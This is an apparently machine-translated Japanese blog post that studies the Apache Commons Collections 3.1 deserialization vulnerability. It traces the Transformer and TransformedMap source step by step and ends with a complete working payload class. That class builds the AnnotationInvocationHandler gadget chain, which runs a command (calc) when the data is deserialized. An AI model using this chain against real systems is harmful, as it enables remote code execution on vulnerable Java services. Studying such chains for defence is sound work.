Java逆シリアル化の脆弱性の学習--- ApacheCommonsコレクション

Java逆シリアル化の脆弱性の学習-ApacheCommonsコレクション

Javaの安全性との最初の接触~~~~

ApacheCommonsコレクションはApacheCommonsのコンポーネントです。この脆弱性の問題は、主にorg.apache.commons.collections.Transformerインターフェイスで発生します。Apache commons.collectionsには、Transformerインターフェイスを実装するInvokerTransformerがあります。これは、主にJavaのリフレクションメカニズムを呼び出して任意の関数を呼び出すために使用されます。

影響を受けるコンポーネントのバージョン:<= 3.1

1.環境構築

ローカルテストの場合は、commons-collections-3.1.zipをダウンロードし、対応するjarパッケージをプロジェクトにインポートします:commons-collections-3.1.jar

例えば:

IntelliJ IDEAで通常のJavaプロジェクトを作成し、[ファイル]-> [プロジェクト構造]-> [ライブラリ]-> +対応するjarパッケージを追加します

2.脆弱性分析

これは逆シリアル化の脆弱性であるため、次のようなステートメントがあると想定します。

        FileInputStream fileInputStream = new FileInputStream("unserialize.bin");
        ObjectInputStream input = new ObjectInputStream(fileInputStream);
        Object object = input.readObject();
        input.close();
        fileInputStream.close();

これは、unserialize.binバイナリファイルからバイナリデータを取り出して逆シリアル化することを意味します。

unserialize.binファイルの内容が制御可能である(つまり、ユーザーが入力できる)場合は、逆シリアル化の脆弱性がある可能性があります。

(PHPの逆シリアル化とやや似ていますが、使用率の前提は、プログラムで使用できるクラスまたは使用率チェーンがあることです)

プログラムがApacheCommonsコンポーネントの下位バージョンを使用している場合、対応する入力を構築してRCEの目的を達成できます。

以下は、commons.collectionsで使用されるクラスの分析です。

このコンポーネントには、Transformerインターフェイスがあります。

package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

このインターフェイスを実装するクラスInvokerTransformerがあり、ソースコードを確認できます。

public class InvokerTransformer implements Transformer, Serializable {
	private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;

	    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

}

これは変換メソッドの注意深い分析です。ここでは、渡されたオブジェクトの任意のメソッドを呼び出すために反射メカニズムが使用されていることがわかります。

上記の3つのパラメーターは、それぞれ次のことを意味します。

methodName:メソッド名

paramTypes:パラメータタイプ

args:着信メソッドのパラメーター値

一般的に、RCEが必要な場合は、Runtimeクラスを使用する必要がありますが、Runtimeのコンストラクターはプライベートメソッドであるため、直接インスタンス化することはできません。たとえば、静的メソッドを呼び出してインスタンス化する必要があります。

Runtime.getRuntime.exec("calc");

上記のInvokerTransformerのtransformメソッドを直接呼び出してコマンドを実行する場合は、次のように記述できます。

        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
                new Class[]{String.class},
                new String[]{"calc"});
        invokerTransformer.transform(runtime);

個人的な理解:上記の記述はRuntimeオブジェクトを直接インスタンス化しますが、Runtimeクラスはシリアル化インターフェイスを実装していません(ソースコードを確認できます)。つまり、Runtimeインスタンスオブジェクトはシリアル化できないため、POCを構築するときは次のようにしてください。 Runtimeによってインスタンス化されたオブジェクトはプログラムに表示されないため、後で2つのクラスが導入されます。

ConstantTransformerクラスとChainedTransformerクラス

ConstantTransformerクラスを見てみましょう。

    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return this.iConstant;
    }

その変換メソッドは、渡されたパラメーターを直接返します。

ChainedTransformerクラスを見てみましょう。

 public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

重要な部分はここにあります:

object = this.iTransformers[i].transform(object);

iTransformersが上記のInvokerTransformerオブジェクトである場合、複数のInvokerTransformerオブジェクトを作成し(ここでのiTransformersは配列であることに注意してください)、このステートメントでリフレクションを介してランタイムインスタンスを作成できます。次に例を示します。

Transformer[] transformers = new Transformer[]{
				//获取java.lang.class
                new ConstantTransformer(Runtime.class),
                
				//执行Runtime.class.getMethod("getRuntime")
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class },
                        new Object[] {"getRuntime", new Class[0] }),
				
				//执行Runtime.class.getMethod("getRuntime").invoke()
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] {null, new Object[0] }),
				//执行Runtime.class.getMethod("getRuntime").invoke().exec
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform("123");

ここで作成すると、chainedTransformer.transform()メソッドが実行されている限り、RCEを実行できることがわかります。

ただし、これは逆シリアル化の脆弱性であるため、最適な使用例は、ユーザーから渡された入力ストリームが逆シリアル化される場合です。攻撃は直接攻撃される可能性があります(つまり、プログラムがreadObjectメソッドを直接呼び出すと脆弱性がトリガーされます)。 、および他のいくつかのクラスが続きます:

TransformeMapクラスとAnnotationInvocationHandlerクラス

まず、クラスTransformeMapを見てみましょう。

protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }

このクラスには、valueTransformer.transformを呼び出すcheckSetValueメソッドがあります。

つまり、ここでは、this.valueTransformerを上記のchainedTransformerの値として作成する必要があります。

コンストラクターを分析することにより、この値を直接構築できることがわかりました。

   public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

(TransformedMapは保護されたコンストラクターであるため、このクラスによって提供される静的メソッドdecorateが初期化に使用されます)

次に、静的内部クラスを持つTransformeMapの親クラスAbstractInputCheckedMapDecoratorのフォローアップを続けます。

static class MapEntry extends AbstractMapEntryDecorator {
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = this.parent.checkSetValue(value);
            return super.entry.setValue(value);
        }
    }

ここでのsetValueメソッドはcheckSetValueを呼び出します。this.parentが前に作成したTransformeMapオブジェクトを指している場合、ここで脆弱性がトリガーされる可能性があります。

これを前の基準に追加します。実行を注文することもできます

		Map innerMap = new HashMap();
        innerMap.put("1", "1");
		//构造TransformedMap对象,带入前面构造的transformerChain
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
		//返回Entry这个内部类
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();

        onlyElement.setValue("123123");

このステートメントを分析してみましょう:

 Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();

最初に、TransformedMapのentrySetメソッドであるouterMap.entrySet()を呼び出します。

public Set entrySet() {
        return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this) : super.map.entrySet());
    }

this.isSetValueCheckingをフォローアップします。

    protected boolean isSetValueChecking() {
        return this.valueTransformer != null;
    }

前の構成では、ここでtrueを返します。つまり、上記のouterMap.entrySet()は新しいAbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet()、this);を返します。

このクラスをフォローアップします:(実際には静的な内部クラスであり、上記で必要なMapEntryは同じクラスにあります)

static class EntrySet extends AbstractSetDecorator {
        private final AbstractInputCheckedMapDecorator parent;

        protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
            super(set);
            this.parent = parent;
        }
         public Iterator iterator() {
            return new AbstractInputCheckedMapDecorator.EntrySetIterator(super.collection.iterator(), this.parent);
        }
}

渡したtransformerChainが親に割り当てられていることがわかります。

次に、プログラムは上記のイテレーターメソッドを実行します。

public Iterator iterator() {
            return new AbstractInputCheckedMapDecorator.EntrySetIterator(super.collection.iterator(), this.parent);
        }

別のオブジェクトが返されたことがわかったので、このオブジェクトをフォローアップします:(まだ静的な内部クラス)

 static class EntrySetIterator extends AbstractIteratorDecorator {
        private final AbstractInputCheckedMapDecorator parent;

        protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
            super(iterator);
            this.parent = parent;
        }

        public Object next() {
            Entry entry = (Entry)super.iterator.next();
            return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent);
        }
    }

また、前に作成したtransformerChainを親に割り当てます。

最後に、プログラムは次のメソッドを呼び出します。これは次のとおりです。

    public Object next() {
            Entry entry = (Entry)super.iterator.next();
            return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent);
        }

最終的に構築する必要のある内部クラスMapEntryを返すだけであり、構築したtransformerChainの値に正確に親を割り当てていることがわかります。

最後に、onlyElement.setValue( "123123");を呼び出して、コマンドの実行をトリガーします。

脆弱性をトリガーするために逆シリアル化関数を呼び出すだけでよいエクスプロイトチェーンを構築したいので、ここでの分析は十分ではありません。ここでは、readObjectをオーバーライドするAnnotationInvocationHandlerクラス(JDKバージョンは1.7未満)を使用する必要があります。メソッド、mapのsetValueメソッドはこのメソッドで呼び出されます:

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();


        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; all bets are off
            return;
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }

(このコードはオンラインで見つかります。私のjdkバージョンは1.8 ~~~~です)

ここで、memberValuesがマップオブジェクトであり、パラメータを直接渡すことができます。ここでは、そのようなステートメントを使用しています。

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()){
	memberValue.setValue(...)
}

実際、これは上記の構造と同じです。

memberValues.entrySet().iterator().next()

ここでは、それはより明白です。構築されたAnnotationInvocationHandlerオブジェクトを渡し、ターゲットがそれを逆シリアル化します。これにより、任意のコードが実行されます。

ペイロードは次のとおりです。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import java.lang.reflect.Constructor;
import java.util.Map;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class test implements Serializable{

    public static void main(String[] args) throws Exception
    {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "2");

        Map transformedmap = TransformedMap.decorate(map, null, transformerChain);


        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
        cons.setAccessible(true);

        Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap);
		
		//将ins序列化
        ByteArrayOutputStream exp = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(exp);
        oos.writeObject(ins);
        oos.flush();
        oos.close();
		
		//取出序列化的数据流进行反序列化,验证
        ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(out);
        Object obj = (Object) ois.readObject();
        
    }
}

3、まとめ

デシリアライズの脆弱性は、プログラムに存在する既知のクラスを使用する必要があるため、BUGを持つクラスを見つけることが重要です。

Javaの逆シリアル化の脆弱性は非常に複雑ですが、非常に興味深いものです。(たとえば、上記で作成されたiterator()。next()は、使用されるクラスの反復にぴったり適合します)。

使用する必要のある一部のクラスは逆シリアル化インターフェイスを継承しないため、リフレクションメカニズムを使用できます。したがって、動的に生成された対応するオブジェクトを使用すると、シリアル化できないことを回避でき、目的のペイロードデータストリームを構築できます。

参照リンク:

https://www.smi1e.top/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0%E4% B9%8Bapache-commons-collections /

https://xz.aliyun.com/t/136#toc-0

おすすめ

転載: blog.csdn.net/gental_z/article/details/109008755